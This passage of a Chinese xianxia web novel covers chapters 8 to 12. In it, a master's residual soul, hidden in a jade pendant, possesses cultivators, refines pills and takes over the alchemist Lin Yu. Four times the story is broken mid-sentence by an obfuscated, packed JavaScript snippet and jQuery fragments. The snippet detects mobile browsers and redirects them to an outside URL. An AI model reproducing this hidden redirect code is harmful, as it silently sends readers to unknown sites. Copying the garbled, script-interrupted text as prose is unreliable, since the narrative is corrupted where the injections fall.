庞三鲜不解，但在他碰触到玉佩的瞬间，整个人如遭雷击。 下一秒，庞三鲜那肥硕的面盘子竟舒展开，身姿多了一抹优雅从容的意味。 沈鹤不由自主地张大嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456917|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴：“……师、师尊？” 谢琳琅嗯了一声，他无视庞三鲜的鬼哭狼嚎，转身朝着丹房走去：“跟上。” 沈鹤亦步亦趋地跟在谢琳琅身后，回到了洪奎的丹房内。 谢琳琅一甩袖子，房门自动关闭。 若庞三鲜这么做，会给人一种滑稽和可笑之感，但换了谢琳琅，愣是让庞三鲜的气质变得魁梧厚重，举手投足间满是力量感。 谢琳琅操纵着庞三鲜的身体，抬手朝着丹炉下方的灵火打入了一道魔气。 本来处于休眠状态中的灵火嗖一下冒出了鲜亮的焰色！ 谢琳琅最近也在翻看沈鹤借出来的魔丹资料，他本就是丹道大师，自然进步速度极快，甚至自发地对一些魔丹技巧进行了修正和改进。 “看好了。”顿了顿，谢琳琅又提点庞三鲜，“你也一样，别嚎了。” 他一手扯过材料台，随手将三根如竹节一样的材料扔入丹炉中。 洪奎用的丹炉是筑基修士常用的地级六品丹炉，能炼制地级九品以下的所有丹药，但以洪奎和筑基修士的能力，很少有能用六品丹炉炼制出超过六品的丹药。 但此刻谢琳琅轻盈掐着法诀，那一道道黑紫色的法诀宛如蝴蝶，轻盈落在丹炉外层，魔气丝丝缕缕如薄纱，层层覆盖在丹炉上。 鲜红色的地焰花、一碗灵兽血以及两枚魔石被谢琳琅依次扔进丹炉内。 明明是很随意地扔入丹炉中，可这些材料出入的次序、魔气涨落与灵火焰色高低，都形成了一种难以形容的曼妙美感。 沈鹤和庞三鲜都看呆了。 材料内的魔气在丹炉中重新流转，继而在火焰中吸纳灵性，最终孕育出了具备更庞大能量的丹药……这才是真正的丹道啊。 当庞三鲜的魔气消耗殆尽的瞬间，这一炉丹药也炼好了。 谢琳琅操纵着庞三鲜，将玉佩交还给沈鹤手中。 沈鹤呆呆地接回玉佩，下一秒，谢琳琅占据了沈鹤的身体。 庞三鲜腿一软，跌坐在丹房角落里。 谢琳琅打出了最后收丹的法诀。 丹炉熄灭，顶部盖子自动打开，露出了里面三枚地级九品丹丸。 谢琳琅不自觉地笑了一下，他的手法没退步。 谢琳琅直接吃掉了一颗。 下一秒，在庞三鲜不可思议的眼神中，沈鹤的修为一路冲锋，从炼气二层眨眼间冲击到了炼气六层，正好比庞三鲜高一层。 谢琳琅还算满意。 “魔修就这点好，修为提升快点也没什么，反正有天劫帮你夯实基础。” 谢琳琅宽慰沈鹤，“放心，不抛弃你。” 沈鹤：“……” 师尊发现他忧虑修为提升速度太慢，就开炉炼丹安慰他吗？ 这实在是……感动，又有点不敢动。 9. 第 9 章 洪奎审视着面前的沈鹤。 昨天还是炼气二层，今天就变成了炼气六层？ 虽说魔修初期进步速度很快，但这也太快了点吧？ “你说你用了我的丹炉和材料，炼制了聚气丹，虽说炼制出了两枚废丹，但却成功了一枚，吃了之后修为就一路冲到了六层？” 洪奎觉得沈鹤在胡扯八道。 姑且不提修士炼丹需要天赋，沈鹤刚在丹房帮佣了快一个月，只是观摩他炼丹，再去上点宗门大课，看看一些炼丹的文书，就能炼丹成功了？ 要真这么简单，宗门里到处都是炼丹师，也没人来丹房买基础丹药了。 沈鹤低声道：“是，弟子已经用魔石将用掉的材料补上了。” 洪奎倒也不在乎炼制聚气丹的那点材料，他索性指着丹炉：“你炼一炉让我看看。” 沈鹤深吸一口气：“好。” 成败在此一举！ 昨天谢琳琅炼制结束后，庞三鲜很大气地表示所耗费的材料都由他报销，就当学费了，然后拉着沈鹤两人各自炼制了一炉聚气丹，还请谢琳琅指点了一二。 庞三鲜废了两枚，得了一枚品质普通的成丹。 沈鹤刚提升修为，魔力控制不太好，也废了两枚，但却得了一枚高品质成丹。 当然谢琳琅炼制出的聚气丹堪称极品，沈鹤和庞三鲜这种新手根本没法比。 他们俩也不敢将这种极品丹药卖出去，生怕被人追溯来源，于是俩人一人一枚，自己分了好揣摩丹药中蕴含的造化之道。 此刻沈鹤屏息凝神，一边回忆昨天谢琳琅炼丹时的手法，一边拉过料台，细细分辨筛选每一株需要的材料。 每一份材料的状态也有细微不同，若想炼制出最完美、药力最强的丹药，需要把握好每个步骤的细节。 谢琳琅一言不发，静静看着沈鹤炼丹。 经过一晚上的思考和沉淀，沈鹤的动作比昨日明显多了几分从容，对魔气的控制也变强了。 大概两个时辰后，沈鹤成功炼制出了一炉聚气丹。 虽然还有一枚废丹，另外两枚里，一枚是普通丹药，另一枚却是与丹炉同品的地级六品。 就这一枚聚气丹，就能卖出五份材料的价格。 洪奎的眼睛瞪得和铜铃一样，他上下打量沈鹤，异彩连连。 “好好好，没想到你小子竟有如此天赋。” 洪奎直接拿起那枚丹药，对沈鹤道：“你随我去见师尊。” 沈鹤大喜，太好了，寻找极品魔炉第一步：拜一个强大的丹师这个任务终于达成了！ 谢琳琅也不由自主地微笑起来，他夸赞沈鹤：“干得好。” 沈鹤有些不好意思，但他终是少年人，眉梢眼角都透着被夸后的欢喜和得意之情。 洪奎注意到沈鹤的样子，失笑道：“收收你的表情，若是师尊真的满意你天赋，你这点修为就是明晃晃地对所有人说，快点干掉我。” 沈鹤的笑容僵在了脸上。 他敛容，肃然拜谢：“多谢洪师兄指点。” “修士从不缺天赋极佳的天才。” 洪奎见沈鹤还算谦虚，才多说了一句，“沈师弟，你既然能让柳师弟自投丹炉，也当明白，天地灵物莫过于修士，世间为烘炉，我等皆为这聚气丹的材料，至于是否能结成魔丹，踏上仙路，掀开这魔炉，自成一方天地，就端看个人机缘了。” 沈鹤听后如遭雷击。 他恍然看着那还散发着残余魔气的丹炉，再看看手中的魔丹，修士吸纳天地魔气为己用，竟如魔丹吸收众多材料精华一般无二。 瞬息间，沈鹤若有所悟，进入了顿悟状态。 洪奎诧异地打量沈鹤，略一沉吟，起身离开了丹房。 谢琳琅注意到了这一点，他一边帮沈鹤护法，一边注意着外面的动静。 很快，洪奎回来了。 但他不是一个人回来的，身边竟还跟着一个身穿黑色道袍的青年。 青年有着黑白相间的灰色长发，头顶挽发髻插白玉簪。 他面容清隽消瘦，一双狭长的眼眸顾盼间俱是漠然与冰冷，耳上坠着两根墨绿色六棱晶石柱，上面闪烁着猩红色的光点，仿佛一只来回移动的眼睛。 此人正是洪奎的师尊，掌管丹房的元婴修士林郁。 谢琳琅见到林郁的瞬间立刻敛息凝神，尽量收束自己的残魂和神识。 元婴期的修士？真是送上门的好机会啊。 林郁听弟子洪奎说，丹房帮佣里有一名炼丹天赋极为出众的天才。 若是往日林郁必不会放在心上。 有天赋的骄子何其多也，想要得他青眼，怎么也得筑基吧？ 区区一个炼气，也许明天就死了？ 但最近他真的很烦躁。 裴寂夜就是个神经病，他暂时没法长时间口吐人言，竟还有心思暗自揣摩出了一项秘术，可以通过一些秘法将声音远程传递到林郁耳边。 这可好了，林郁已经连着一周耳边都是裴寂夜那叽叽喳喳的鸟叫声。 就算用林郁手中防御力最强的护身法器，也挡不住这鸟音灌耳。 林郁炼制一炉化骨丹需要将近一周的时间，只能让裴寂夜说人话三分钟。 不管是林郁还是裴寂夜都很不满意，这效率太低了！ 可这化骨丹是元婴期修士才能炼制的高品丹方，再加上裴寂夜的情况特殊，林郁也不敢将这件事告诉另外三位元婴期的丹师。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456918|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是林郁只能利用最近食堂冒出来的一堆吃坏肚子的宗门弟子，一边实验一边改丹方，将化骨丹的丹方拆解，弄出了一份低配版本化骨丹。 低配版本化骨丹可以由筑基修士炼制，但其中蕴含着非常多的高阶炼丹技巧，非常考验低阶修士在炼丹方面的天赋。 哪怕是他带了许久的洪奎，第一次上手也直接失败了。 但现在冒出了一个沈鹤。 若这沈鹤的天赋真的很好，那不如直接喂丹药催到筑基期，赶紧去学低配版化骨丹，当一个成熟的流水线炼丹小工。 于是等沈鹤终于从顿悟的境界中回神时，才发现面前多了一位气质冷肃的前辈。 沈鹤注意到洪奎站在这人身后，执弟子礼，沈鹤也连忙恭谨拜下。 “弟子沈鹤，见过前辈。” 经过这番顿悟，沈鹤已然彻底稳固了炼气六层的修为，不复昨日突兀提升修为后的虚浮与躁动。 林郁的神识早已扫遍沈鹤全身，他直接抬手一点，沈鹤贴身携带的黑红玉佩直接落入了林郁手中。 “这是何物？” 沈鹤有些紧张，他低声说了一遍父亲托孤给爷爷的事，强调这是认亲的信物。 林郁作为一个经验丰富的丹师，他很快也发现这枚玉佩的蹊跷之处。 说是魔器，却不含禁制和符文；若是日常所用之物，又太过普通平凡。 林郁上下打量沈鹤：“洪奎，给他一瓶聚气丹，明日你护他提升修为，尽快进入筑基期，再带到宗门办事处，记到我名下。” 说完，他一甩袖袍，走了。 沈鹤傻眼了，他张了张嘴，看向洪奎，有些茫然：“洪师兄？” 洪奎笑道：“沈师弟，那是我师尊林郁真人，师尊已经有意收你为徒，以后你我就是同门师兄弟了。” 沈鹤虽然很高兴自己真的拜入了元婴修士门下，可、可是他的玉佩…… 洪奎不以为意：“放心，那玉佩若是只有帮你认亲一种作用，师尊很快会还给你的，若那玉佩对师尊有用，按照惯例，师尊会研究一番，并与你交换一份等价的机缘。” 他还提点沈鹤，“太好的东西放我们低阶修士手中，反而会引起灾祸，想必沈师弟也明白这个道理吧？” 沈鹤欲言又止。 他当然明白这个道理，但、但是…… 他是担心林郁真人夺走玉佩吗？ 他担心的是自己师尊夺舍强占了林郁真人啊！ 沈鹤忧心忡忡地回到了自己居住的房间。 庞三鲜看到沈鹤一副愁容，问起原因，待听了沈鹤一番解释后，果不其然，庞三鲜也大惊失色。 “林师伯还好吗？” “……唉。” 10. 第 10 章 林郁拿着新入手的黑红玉佩回到自己的炼丹房。 林郁虽然只是元婴修士，但他有着极佳的炼丹天赋，只有他能使用寂夜宫传承无数岁月的极品魔炉炼制出极品丹药，所以尽管宗门还有化神修为的丹师，可林郁的丹房布置和用度依旧是寂夜宫里最好的。 谢琳琅随着林郁进入这丹房后，就不由得连连点头。 真是个好地方啊，丹房外设置了能抵挡化神修士全力一击的阵法，为了防止天上落下丹劫，还在周围布置了五方五罡阵，四周墙壁上设置了聚拢魔气的聚魔阵。 当然最吸引谢琳琅的还是整个丹房最中间放置的那个极品魔炉。 就好像厨师会喜欢极品厨具，剑修的目光会流连于极品灵剑身上一样，谢琳琅自看到这极品魔炉的瞬间，就忍不住心生欢喜。 哇，看这浑厚圆润的身材，看着浑然天成的魔纹，看着似玉非玉的天然材质，看这丹炉强大的灵活适应性，看这四周与丹炉气息几乎融为一体的丹势…… 在谢琳琅眼中，这丹炉仿佛有了灵性，与空气中流淌的魔气和下方的灵火交换着能量，构成了一个完美和谐的统一体。 谢琳琅感慨不已，不愧是寂夜宫传承悠久的极品魔炉，真是好东西。 但正因为这极品魔炉是个好东西，能使用的人才屈指可数。 毕竟魔炉自身的气息都能与周围融为一体了，而丹师需要操纵魔炉，再放入材料，不仅不能破坏这浑然天成的丹气，还得想办法调和魔植材料里的灵性，从而炼制出丹药。 一旦破坏了魔炉自身外围萦绕的丹气和威势，那只有炸炉这一个结局。 而在谢琳琅品味这丹炉时，林郁正低头查看手里的黑红玉佩。 他思考良久，不断用魔气和神识探查玉佩内部，但无论他怎么感知，依旧一无所获。 ……谢琳琅虽然只剩下一抹残魂，但他曾是化神后期修士，距离渡劫只有一步之遥，神识之力远超林郁。 而且谢琳琅的功法特殊，在隐藏神识和残魂上有血脉加成。 随着林郁投入到黑红玉佩的神识越来越多，谢琳琅也在不动声色地释放术法。 “妙树摹刻·他化自在。” 他的实力本就比林郁高，又释放了他化自在秘法，很快林郁神识中就乱象丛生，不断出现种种关于黑红玉佩的推测，并得出了一个结论。 这黑红玉佩很可能隐藏了一个小天地，单凭神识和魔气根本没法探查出玉佩真面目。 于是林郁双目紧闭，一个与他面容有些相似的元婴从眉心冲出，化为一缕绿光冲入黑红玉佩之中。 下一秒，谢琳琅心随意动，竟趁着林郁的元婴冲入玉佩的瞬间，直接暗度陈仓，冲入了林郁身体内。 “不好！” 林郁瞬间察觉到自己的元婴与身体的联系被人为隔断了！ “多谢道友成全。” 谢琳琅一声长笑，进入了林郁的身体内，慢条斯理地站了起来。 林郁大惊失色，他的元婴从黑红玉佩中冲出，口中默诵咒语，双手掐了法诀。 下一秒林郁耳朵上悬挂的两个绿色晶体炸开，形成了一双血红的眼睛。 谢琳琅泰然自若，他与那血红眼睛对视了一眼，无事发生。 血红眼睛重新变成了绿色耳坠，回到了林郁身上。 林郁如遭雷击，尖叫起来：“为什么我的摄魂术不管用？” 但尽管他在尖叫，可留下的只是一个元婴幻象，真正的元婴已经朝着房门外仓惶逃窜。 谢琳琅笑了笑，没有回答林郁的问题，只是一甩袖袍，几道符文凭空出现，正好挡住了林郁的元婴。 他语气温和：“道友无需急躁，我会给你一场机缘。” 林郁见逃跑失败，立刻转身滑跪：“小辈无状，打扰到了前辈清修，还请前辈见谅。” 谢琳琅没有理会林郁，他略一感知，发现他只能操控林郁体内一二成魔气。 毕竟林郁的元婴还在，谢琳琅也没辣手毁掉二者的联系。 谢琳琅拿起那枚黑红玉佩，随手扔进了眼前的极品魔炉里。 林郁心中又是懊恼又是疑惑，这个夺舍了他的大前辈想干什么？ 林郁丹房里点燃的灵火自然是仙级紫焰灵火，焰色是纯粹的紫色，焰心是灿然的金色。 随着谢琳琅打出魔气，紫焰灵火陡然爆出三缕长如霞披的火舌，仿佛骤然绽放的花朵。 谢琳琅神色淡定，他这次使用双手打出法诀，那一枚枚法印恍若自有灵性的蝴蝶，并未直接落下去，而是配合着紫焰灵火，在极品魔炉外围轻盈翩跹跃动着。 当魔炉开始吞吐火焰，周身浑圆如一的丹气出现海潮般的涌动时，萦绕在周围的法印才有选择性地落下，每一次落下都恰到好处，每一次都能让魔气圆满地融入到魔炉中。 林郁看得如痴如醉，原本满心愁苦的元婴此刻竟舒展了面容，死死盯着不断变化的魔炉。 寂夜宫的魔炉传自上古蛮荒时代，据说暗藏了许多妙用，只可惜他们这些后辈修士实力不足，甚至没资格烧掉魔炉的第一层伪装外壳。 但眼前这位前辈也许可以！！ 果不其然，随着魔气、法诀以及紫焰灵火三者不断融为一体，很快古朴的玉色魔炉外围开始出现丝丝缕缕的紫色纹路。 那纹路随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456919|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着仙品灵火的锻造，越来越多，甚至开始渗出了鲜红的血色。 直到最后，谢琳琅打出了两个交叠的王字型独家法诀，那林郁竟直接认出了谢琳琅的身份！ “双王印！这是九夏山丹王琳琅道君的独家暖炉秘法！专门用于唤醒丹炉内残存的灵性和上一炉丹药残留的造化之气！” 林郁知道夺舍了他的人是谁了。 “你是一年前渡劫失败的琳琅道君！！” 谢琳琅淡淡嗯了一声，他收了法诀，打量着眼前已经活过来的极品魔炉。 “你有点吵。” 林郁却根本平静不下来，九夏山的琳琅道君堪称丹道第一人，只可惜渡劫失败，身死道消，他留下的诸多丹方也随之消失了，更别提他的独家炼丹秘法。 最重要的是，传闻中琳琅道君性格温和善良，乐善好施，只要有人求到他头上，他基本都会答应帮忙，是个非常好说话、性子极为柔和的修士。 所以在琳琅道君渡劫失败、身死道消的消息传出来后，不少人在惋惜不已的同时，还深觉诧异。 以谢琳琅平日积累的功德，再加上他通过炼丹换取的诸多灵物和高阶法器，怎么会无法度过天劫？ 林郁苦笑道：“怪不得您渡劫失败，看您这夺舍秘法的熟练程度，想必也并非传言那般光风霁月。” 谢琳琅平日肯定不干好事，被天劫清算了！ 谢琳琅起身来到魔炉前，他抬手一点，魔炉盖子打开，露出了里面的东西。 黑红玉佩化为了一团纯白色的液体，散发着诡异的气息。 “我此生从未做过有愧之事，言出必行，说到做到。” 他平静地说：“圣人论迹不论心，我当了二百年的好人，怎么不算光风霁月了？” 谢琳琅出身凡俗尘世的书香世家，父母皆为普通人，但他的母族祖上曾出过修士，所以到他这里觉醒了灵根，拜入了仙门大宗九夏山。 随着修为日深，谢琳琅从血脉中获得了一份独特的功法《宝树经》。 听起来好像不错，还是根据血脉量身定做的秘法，可实际上《宝树经》全称为《曾被宝树镇压永世不得超生但依旧祸害千年的天魔抽抽乐》。 换言之，是用血脉为诱饵，以秘法召唤一只天魔。 通过与天魔厮杀，胜者通吃，得到对方的一切。 “我的确不是什么好人，可我也没那么坏吧。” 毕竟，裴霁是那样好的一个人。 谢琳琅也想让自己变得好一些，再好一些。 可是啊，当他真的名满天下时，那个最初促使他改变自己、鞭策自己变得更好的人，已经不在了。 11. 第 11 章 好人是不会说自己是好人的。 林郁很想这么说，但不敢。 他此刻只能祈祷谢琳琅所言为真，否则他就真的完蛋了。 由于逃跑无望，林郁索性主动问谢琳琅。 “前辈到底想做什么？也许我能帮忙一二。” 谢琳琅抬手一点，魔炉内的纯白液体轻盈落在谢琳琅手中。 他细细感知了一番，沉默良久，一声叹息。 真是没想到，沈鹤这枚随身玉佩竟是一枚渡劫期鹤妖的真灵骨。 所谓真灵骨，是妖族身上凝练了全部精华和修为的真骨。 随着妖族修为日深，真灵骨会越来越小，威力越来越大。 待到妖族最终度过天劫、进入大乘期后，一身妖骨会彻底淬炼完毕，最终得到仙光接引，飞升成仙。 但沈鹤手上这枚真灵骨应该是一枚失去了爱侣的禽族鹤妖。 因为这枚真灵骨上没有丝毫怨怼和憎恨之气，只有深沉而无望的怀念与爱恋之意。 因鹤妖生前再无生意，了无生机，所以真灵骨所化的玉佩也具备屏蔽生机的特性，这才被人误以为是防护玉佩并流传了下来。 谢琳琅有些唏嘘，爱憎会、求不得，纵然是渡劫期的大妖，就差一个境界即将飞升成仙，却也会心伤而死。 仙界再好，也没有所爱之人；凡世苦楚，却可同葬一片天地。 “我到底想做什么？” 谢琳琅神色微动，他曼声道：“我既然没能陨落，重归人世间，那就再试一试好了。” 沈鹤面容、性子和习惯与裴霁如此相似，也许真的是上天看他当了这么多年好人，大发慈悲，让他得偿所愿呢？ 即便沈鹤不是裴霁的转世，万一裴霁真的有一天轮回转世回来了呢？ 到时候自己却已经陨落，那真是死了也不甘心。 想到这里，谢琳琅打起精神，他问林郁：“你可有什么炼丹的材料？还有丹房里的高阶材料也全都给我拿出来，我要好好挑选一番。” 林郁连声道：“好好好，您要炼丹？可否教导我一二？” 谢琳琅很随意地说：“你能学多少，就看你自己了。” 很快谢琳琅将林郁的乾坤袋打开，找出了一大堆炼丹的材料，还从丹房后面的临时库房里取出了一些可能用得上的材料。 林郁试探着问：“您想炼制什么丹药？” 谢琳琅觉得林郁在说废话。 他都是残魂了，最想炼制的丹药当时用来重塑仙体的九转返真丹啊！ 谢琳琅没理会林郁，他在一大堆材料里挑挑拣拣。 “……你最近在炼什么丹药？怎么有这么多渡劫期修士才用的到的宝物？” 真是稀奇了，林郁一个元婴修士，居然有不少渡劫期大佬才用的材料，寂夜宫这么富裕吗？ 林郁内心惨淡。 是啊，他最近被一个渡劫期的大佬折磨的想死啊！ 想到这里，林郁突然来了精神，连声道：“前辈，弟子有一个非常着急的丹药问题，不知前辈可能解惑？” 谢琳琅快速处理着材料，漫不经心地问：“什么问题？” “有人找弟子，想要炼制一种化骨丹，能让服用者口吐人言，但必须是渡劫期品质……” “谁家妖族大佬都修炼到渡劫期了，还没能炼化自己的第一根喉妖骨，说不出人话？” 谢琳琅听到如此稀罕事，忍不住笑了：“报个名字，定能让那妖族前辈的笑料传上百年。” 林郁在心里疯狂咒骂裴寂夜，但涉及到寂夜宫的机密，他也不好再细说，只能含糊着道：“因为一些意外，那位前辈在不合适的时间突然化茧了……” 谢琳琅了然，化茧是妖族一种独有的修行方式，实力低微、血脉不够醇厚的妖族还没有资格使用这种方法进行蜕变。 据说每一次化茧，都能让妖族的实力翻上最少一倍。 具体如何操作是妖族机密，谢琳琅也只是在一本宗门渡劫期前辈的游记里翻看过相关资料。 “那只要有足够的时间，等那位前辈理顺了身上的妖力，自然而然就能重新开口了。” 谢琳琅不咸不淡地说：“妖族最不缺的就是时间，他们不像人类修士，受寿岁所限，必须在有限的时间内步步突破进入下一层次才行。” 林郁苦笑道：“他以前是人，是半中腰突然转妖修的……” 而且距离下一次寂夜长吟没几年了，寂夜魔君必须快速恢复实力，否则整个寂夜宫连带着方圆万里之地都要完蛋了。 谢琳琅嫌弃道：“你们魔修就喜欢瞎修炼，也不怕天劫一次性清算，直接送你们上路。” 林郁连声道：“还请前辈赐教。” 谢琳琅沉吟片刻才道：“我听闻月青山麓出产一种特殊的灵草，叫四季星辰花，据说会根据四时节气转变形态，虽然是灵草，但又好像是妖物，具体我也不清楚，你可以试试用那个为主药，再辅以四时节气特有的灵物改进化骨丹的丹方，最终应该能达到不管服用者是何等形态，都能轮转如意、自如地调整真灵骨的效果。” 林郁听后大喜：“多谢前辈教我。” 也许是林郁真的很高兴，谢琳琅敏锐地发现，他能操纵林郁身体内残存的五成魔气了。 谢琳琅也稍微松了口气。 若是在炼制九转返真丹时，林郁故意找事，对谢琳琅来说也挺麻烦的。 很快谢琳琅根据林郁和丹房里的材料，大概配出了一套九转返真丹的材料。 谢琳琅是丹道奇才，深谙造化之道的每一缕灵性的变化，很多时候他已经不需要刻板地按照原本丹方炼制了。 这也是他陨落后，很多修士都扼腕不已的原因之一。 随着时移世易，很多上古丹方都需要进行同性质材料替换，但又必须保证药效。 而能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456920|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据现有材料改进古方的丹师少之又少，谢琳琅的陨落对很多人来说都是一大损失。 谢琳琅吃了点补充魔气的丹药，他深吸一口气，聚精会神，开始了人生最重要的一次炼丹。 是死是活，就看这一次了。 …… 沈鹤已经进阶筑基期了。 他的修行速度快得让每一个知道的人都连连摇头，并大呼一声这小子绝对会被天劫重点关照。 沈鹤也不想啊！ 哪有这么拔苗助长修行的啊？ 那天林郁真人发话后，第二天洪奎就给了沈鹤三大瓶聚气丹，还配备了一整套突破用的丹药，并且强行将沈鹤塞进了一个魔气泉眼内。 洪奎冷酷无情地表示：“不到筑基就别出来。” 沈鹤被洪奎强制关小黑屋，居然就这么突破炼气，进阶筑基了。 但沈鹤压根没掌握几门术法，更别说进行斗法训练了。 背后有人、拜了一个元婴师尊、魔修进阶速度快等几个条件叠加起来，让沈鹤成功变成了目前寂夜宫内实力最水、连炼气九层魔修也能暴打他的筑基初期修士。 庞三鲜真的一点都不羡慕沈鹤，甚至觉得自己可以做好舔包准备了。 沈鹤但凡敢离开丹房，一定会被其他魔修敲闷棍抹喉背刺一波带走。 他甚至有点怜悯沈鹤，“……沈师弟，筑基是炼丹前最重要的打基础阶段，有你这种堆沙子筑基的吗？你这样提升实力，几乎不可能结丹成功的。” 沈鹤叹了口气：“庞师兄，你没发现师尊、我是说我新拜的那位林师尊，已经闭关半个月了？” 他这种情况的确很麻烦，但他有师尊！ 不是这个凑上来的林郁真人，而是会注意到他担忧实力低微，主动给他炼制极品丹药提升他实力的玉佩师尊呀！ 庞三鲜立刻闭嘴了。 也是，沈鹤有大机缘呢。 庞三鲜也有些忐忑，不知道那位黑红玉佩里的前辈如何了？ 林师伯拿走玉佩后就一直在闭关，据洪奎说，林师伯还封闭了他的专属丹房，似乎在炼制什么特殊丹药。 而且随着林师伯炼丹时间日久，一股奇异的丹药香气逐渐从他的丹房中飘荡而出。 不少丹师最近都会在林师伯丹房外驻足打量，并私下讨论林郁真人到底在炼制什么极品魔丹，居然在丹成前就溢散出如此浓郁的香气。 又是旬日过去，七七四十九天后，丹房上空突然晴空炸雷，一道紫金色天雷打了下来。 好在丹房上空不仅有阵法防护，寂夜宫外围也有护山大阵，最终这雷劫被阵法抵挡，化为虚无。 围观众人大哗：“林道友到底炼制了什么丹药？竟还有天劫降临？” 众人又等了大约一刻钟，丹房大门终于打开了，一个人缓缓抬步走出来。 沈鹤和庞三鲜也挤在人群中探头探脑，全都紧张地看向来人。 12.第 12 章 林郁激动地出关了。 他大笑着，笑声充溢着成功的喜悦。 丹房门口围了不少人，林郁出来后压根不理会宗门其他丹师，直直看向站在人群后面的沈鹤。 林郁满意地对沈鹤招招手：“过来。” 沈鹤心中惴惴，眼前这林郁真人到底是他本人呢，还是他那位一言不合就夺舍强占的玉佩师尊？ 人群让开一条路，沈鹤赶紧走到林郁面前，十二分小心地开口。 “见过师尊，恭贺师尊炼制成功，有所突破。” “沈鹤，你那块家传玉佩对我有大用，我从其中获知了一份上古丹道强者的炼丹体验，由此突破了炼丹水准，还炼制出了几炉完美品级的丹药。” 林郁上下打量了一下沈鹤的修为，“你筑基了？不错，不过你根基不稳，这些丹药拿去巩固修为吧。” 他递给沈鹤一个似乎是黄玉制作的葫芦，又给了沈鹤一个乾坤袋。 “为师接下来比较忙碌，可能没空保护并指导你，这里是一些护身魔器和一些功法，你回去好好修行。” 说到这里，林郁加重语气，身上流露出了一抹可怖的威势，像是在威慑诸人一样。 “以及为师里面留了一道法符，若是你突兀陨落，你死前三天发生的一切情形会落入为师手中，为师虽然无法实时保护你，但是送你的仇人一起去地府报道还是没问题的。” 沈鹤听到这里心头大定。 有林郁这句话，最起码在宗门里，他应该能有一个安全的修行环境了。 他诚心诚意地倒头拜倒：“多谢师尊庇护。” 但……玉佩不还给他了？ 玉佩师尊还在吗？这到底是怎么回事？ 林郁点点头：“你助为师突破丹道，也算为寂夜宫立下了功劳。” 毕竟寂夜宫的安危落在了寂夜魔君身上，而现在那位魔君还是只鸟崽子，等着他赶紧喂丹药呢。 说完他挥挥手，让沈鹤退下了。 沈鹤刚退下，林郁真人就被一群人围住了。 沈鹤瞅着这位新鲜出炉的师尊似乎暂时没空搭理他，他赶紧收起黄玉葫芦和那个乾坤袋。 庞三鲜很上道地帮沈鹤挡住了试图拉关系的其他筑基师兄弟姐妹们，沈鹤给了庞三鲜一个感谢的眼神，赶快离开了。 沈鹤一回到自己居住的房间，立刻升起防护阵法，拿出了黄玉葫芦和乾坤袋。 他先打开乾坤袋，发现里面放了一把通体翠绿的灵剑和一个白色的骨钟。 同时乾坤袋里还附带了两枚书卷，一个记载着逃跑用的遁法，一个是隐蔽用的、配合着低阶弟子修行的《夜海生光幻法》的藏匿之术，可以在有光的地方隐藏自己的魔气和神识。 总体来说，这份拜师礼非常适合沈鹤，有攻击和防护用的灵器，有跑路和躲藏的秘法，算是缓解了沈鹤进阶筑基却什么积蓄和储备都没有的窘境。 但沈鹤依旧紧蹙眉头，他没在翠玉剑和白骨钟上找到玉佩师尊的痕迹，只能看向最后那个黄玉葫芦。 只是打开黄玉葫芦的塞子，一股沁人心脾的香气就隐隐想要冲出来。 谢琳琅的声音响起：“是不是嗅一口，就有种魂魄离体、功法圆满的错觉？” 沈鹤本来被这香气一熏，有种飘飘然的陶醉感，谢琳琅的话仿佛晨钟暮鼓，一下子将沈鹤敲醒了。 他大喜：“师尊！！” “是我。” 谢琳琅察觉到了沈鹤的欢喜之情，语气缓和了些。 “太好了，我还以为……” “以为我死了？” “额，这倒没有。”沈鹤老实回答，他的声音有些闷闷的，“弟子还以为师尊会留在林郁前辈身边，毕竟他是元婴修士，弟子才刚筑基，甚至根基不稳……” 谢琳琅的声音越发柔软：“他怎能与你相比？” 沈鹤听后又是感动又是振奋：“弟子会努力的！”他急迫地问，“师尊，您现在的情形如何？林郁前辈那边到底……” “哦他啊，他不记得我了。” 